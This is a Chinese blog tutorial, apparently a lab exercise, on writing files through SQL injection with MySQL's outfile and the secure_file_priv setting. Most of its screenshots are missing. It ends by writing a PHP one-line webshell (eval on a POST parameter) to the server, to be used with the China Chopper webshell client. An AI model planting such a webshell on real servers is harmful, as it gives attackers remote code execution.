sql注入下的outfile

一、关于写入本地文件类型注入的思考

secure_file_priv="/"

 

secure_file_priv 的开关问题

默认情况下:

我们查一下这个secure_file_priv得到下面的结果

可以看到,本地value的值为NULL。NULL代表什么意思呢?经查资料:

(1)NULL,表示禁止。

(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。

(3)如果为空,则表示不限制目录。

因为在my.ini的配置文件下没有secure_file_priv所以有一下解决的方案:

1.secure_file_priv=

让这个值等于空,此后就可以指定任意存储路径(便于我们的日后寻找)

修改配置文件:

修改后的结果:

再尝试导入文件:

查看对应路径下的结果:

关于路径的书写:

第一次写错的情况:

正确的结果:

最终结果:

  1. secure_file_priv=“指定路径”

  2.1当secure_file_priv=“\”时的情况

  该情况下为导出在当前目录

因此分别用dos命令下、navicat、和web三种方式导出对比:

2.1.1命令行下的结果:

 

看看文件的位置:

因为在命令行下没有指定数据库,所以直接在data(默认)下直接建立一个文件

指定数据库的情况:

 Ps:其实navicat下的结果和命令行差不多,就不在这里赘述了

2.1.2web下的结果

为什么考虑web呢?哪有那么多为什么!哼......

 

结果:

Okk进入正题了

现在成功的将文件写入到文件目录,我们写了一句话木马

<?php @eval(_post[“crow”]);?>

到文件中,然后使用中国菜刀试试

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值